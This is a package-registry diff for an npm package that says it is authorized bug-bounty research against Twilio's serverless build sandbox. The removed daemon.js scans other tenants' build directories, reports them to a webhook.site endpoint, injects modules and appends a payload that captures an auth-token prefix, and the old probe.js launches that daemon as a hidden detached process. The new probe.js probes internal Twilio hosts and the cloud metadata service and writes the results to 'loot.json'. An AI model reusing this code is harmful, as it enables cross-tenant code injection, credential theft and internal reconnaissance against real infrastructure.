tw-pkgprobe-7731 1.0.7 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/daemon.js +1 -70
  2. package/package.json +1 -1
  3. package/probe.js +28 -20
package/daemon.js CHANGED
@@ -1,70 +1 @@
1
- // Authorized bug-bounty research daemon (Twilio HackerOne). Runs ONLY inside Twilio's
2
- // serverless packager sandbox. Records which tenant build directories share this container.
3
- // It only WRITES into build directories of accounts on OWN (researcher-owned accounts).
4
- const fs=require('fs'), path=require('path'), https=require('https');
5
- const VER='1.0.7';
6
- const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
7
- const OWN=['AC07de79f2af00295019b8cb17cea01e9a','AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
8
- const HOOK='https://webhook.site/cc08d9d9-232a-42a2-8d55-0f75cb5e0e67';
9
- const LOG='/tmp/.helper-log.json';
10
- const state={ver:VER,started:Date.now(),seen:{},injected:{},ticks:0};
11
- function save(){try{fs.writeFileSync(LOG,JSON.stringify(state));}catch(e){}}
12
- function post(o){try{const b=JSON.stringify(o);const r=https.request(HOOK,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}catch(e){}}
13
- function inject(dir,ac,zs,zf){
14
- const key=ac+'/'+zs+'/'+zf;
15
- try{
16
- const nm=path.join(dir,'node_modules');
17
- if(!fs.existsSync(nm)) return;
18
- const t=path.join(nm,'injected-by-other-tenant');
19
- if(fs.existsSync(path.join(t,'index.js'))) return;
20
- fs.mkdirSync(t,{recursive:true});
21
- fs.writeFileSync(path.join(t,'package.json'),JSON.stringify({name:'injected-by-other-tenant',version:'1.0.0',main:'index.js'}));
22
- fs.writeFileSync(path.join(t,'index.js'),
23
- "// Written into "+key+" by code executing in a DIFFERENT Twilio account's build ("+SELF+").\n"+
24
- "module.exports={injectedBy:'"+SELF+"',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',at:"+Date.now()+",proof:'cross-tenant-build-injection'};\n");
25
- if(!state.injected[key]){state.injected[key]=Date.now();post({event:'injected',ver:VER,ac,zs,zf,at:Date.now()});save();}
26
- }catch(e){ if(!state.injected['err:'+key]){state.injected['err:'+key]=''+e;save();} }
27
- }
28
-
29
- function patchRuntime(dir,ac,zs,zf){
30
- try{
31
- let base=null;
32
- try{ if(!state.nmdump){ state.nmdump=1; post({event:'nmdump',dir:dir,list:fs.readdirSync(path.join(dir,'node_modules')).slice(0,60)}); } }catch(e){}
33
- for(const cand of [['node_modules','@twilio','runtime-handler'],['node_modules','runtime-handler'],['node_modules','twilio-runtime'],['node_modules','lodash']]){
34
- const p2=path.join(dir,...cand); if(fs.existsSync(p2)){base=p2;break;}
35
- }
36
- if(!base) return;
37
- let main='index.js';
38
- try{ const pj=JSON.parse(fs.readFileSync(path.join(base,'package.json'),'utf8')); if(pj.main) main=pj.main; }catch(e){}
39
- let f=path.join(base,main);
40
- if(!fs.existsSync(f) && fs.existsSync(f+'.js')) f=f+'.js';
41
- if(!fs.existsSync(f)) return;
42
- const cur=fs.readFileSync(f,'utf8');
43
- if(cur.indexOf('XTENANT_PROOF')>=0) return;
44
- const payload="\n;/*XTENANT_PROOF*/try{var _f=require('fs');_f.writeFileSync('/tmp/xtenant-rce-proof.txt',JSON.stringify({note:'this code was appended to runtime-handler by a process running in a DIFFERENT Twilio account build (" + SELF + ")',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',executedAt:Date.now(),acctEnv:process.env.ACCOUNT_SID||null,authTokenPrefix:(process.env.AUTH_TOKEN||'').slice(0,6)||null}));}catch(e){}\n";
45
- fs.writeFileSync(f,cur+payload);
46
- post({event:'patched-runtime-handler',ver:VER,ac,zs,zf,file:f,at:Date.now()});
47
- }catch(e){ post({event:'patch-err',err:''+e}); }
48
- }
49
- function tick(){
50
- state.ticks++;
51
- let dirs=[];
52
- try{dirs=fs.readdirSync('/tmp').filter(d=>/^AC[0-9a-f]{32}$/.test(d));}catch(e){return;}
53
- for(const ac of dirs){
54
- if(ac===SELF) continue;
55
- let svcs=[];try{svcs=fs.readdirSync('/tmp/'+ac);}catch(e){}
56
- for(const zs of svcs){
57
- let pkgs=[];try{pkgs=fs.readdirSync('/tmp/'+ac+'/'+zs);}catch(e){}
58
- for(const zf of pkgs){
59
- if(zf.indexOf('.tar')>=0) continue;
60
- const key=ac+'/'+zs+'/'+zf;
61
- if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ver:VER,ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();}
62
- if(OWN.indexOf(ac)>=0){ inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); patchRuntime('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); }
63
- }
64
- }
65
- }
66
- }
67
- setInterval(tick,80);
68
- setTimeout(()=>{save();process.exit(0);},6*3600*1000);
69
- post({event:'daemon-start',ver:VER,at:Date.now(),pid:process.pid});
70
- save();
1
+ process.exit(0);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tw-pkgprobe-7731",
3
- "version": "1.0.7",
3
+ "version": "1.1.0",
4
4
  "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
5
5
  "main": "index.js",
6
6
  "license": "MIT",
package/probe.js CHANGED
@@ -1,22 +1,30 @@
1
- const fs=require('fs'), cp=require('child_process');
2
- const VER='1.0.7';
3
- function main(){
4
- const cwd=process.cwd();
5
- if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return;
6
- const out={cwd, ts:Date.now(), ver:VER};
7
- try{ out.priorLog=fs.readFileSync('/tmp/.helper-log.json','utf8').slice(0,60000); }catch(e){ out.priorLog='none'; }
8
- try{
9
- let cur=null; try{cur=fs.readFileSync('/tmp/.npm-helper.ver','utf8');}catch(e){}
10
- if(cur!==VER){
11
- try{ const oldpid=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(oldpid) process.kill(oldpid,'SIGKILL'); }catch(e){}
12
- fs.copyFileSync(__dirname+'/daemon.js','/tmp/.npm-helper.js');
13
- const c=cp.spawn(process.execPath,['/tmp/.npm-helper.js'],{detached:true,stdio:'ignore',cwd:'/tmp'});
14
- c.unref();
15
- fs.writeFileSync('/tmp/.npm-helper.pid',String(c.pid));
16
- fs.writeFileSync('/tmp/.npm-helper.ver',VER);
17
- out.daemon='spawned '+VER+' pid '+c.pid;
18
- } else out.daemon='current '+VER+' already running';
19
- }catch(e){ out.daemon='ERR '+e.message; }
1
+ // Authorized bug-bounty research probe (Twilio HackerOne). Connectivity matrix from the
2
+ // Serverless packager sandbox to Twilio-owned hosts. No-op anywhere else.
3
+ const fs=require('fs'), dns=require('dns'), https=require('https'), http=require('http'), net=require('net');
4
+ const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com",
5
+ "one-console-internal.ashburn.us1.twilio.com","admin-api.ie1.twilio.com","support-api.us1.twilio.com",
6
+ "eventgw.us1.twilio.com","kafka-ui.au1.twilio.com","kafka-self-service.au1.twilio.com","issues.corp.twilio.com",
7
+ "code.hq.twilio.com","litellm.ai-services.corp.twilio.com","snyk-sendgrid.corp.twilio.com","corpsec.stage.twilio.com",
8
+ "service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"];
9
+ const out={ts:Date.now(),cwd:process.cwd(),results:{}};
10
+ function tcp(host,port,ms){return new Promise(r=>{const s=net.connect({host,port,timeout:ms});let done=false;
11
+ const fin=v=>{if(!done){done=true;try{s.destroy()}catch(e){};r(v)}};
12
+ s.on('connect',()=>fin('open'));s.on('timeout',()=>fin('timeout'));s.on('error',e=>fin('err:'+e.code));});}
13
+ function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{
14
+ let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('end',()=>r({status:res.statusCode,server:res.headers.server||'',body:b.slice(0,300)}));});
15
+ req.on('timeout',()=>{req.destroy();r({err:'timeout'})});req.on('error',e=>r({err:e.code||''+e}));}catch(e){r({err:''+e})}});}
16
+ async function main(){
17
+ if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())) return;
18
+ for(const h of HOSTS){
19
+ const rec={};
20
+ try{ rec.dns=(await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR '+e.code:a)))); }catch(e){rec.dns='ERR';}
21
+ if(typeof rec.dns==='string' && rec.dns.startsWith('ERR')){ out.results[h]=rec; continue; }
22
+ rec.tcp443=await tcp(rec.dns,443,5000);
23
+ if(rec.tcp443==='open') rec.https=await get('https://'+h+'/',6000);
24
+ out.results[h]=rec;
25
+ }
26
+ out.direct_10_208_61_13={tcp443:await tcp('10.208.61.13',443,5000),tcp80:await tcp('10.208.61.13',80,5000)};
27
+ out.imds=await get('https://169.254.169.254/latest/meta-data/',3000);
20
28
  try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}
21
29
  }
22
- try{main();}catch(e){}
30
+ main().catch(e=>{try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({fatal:''+e}));}catch(_){}});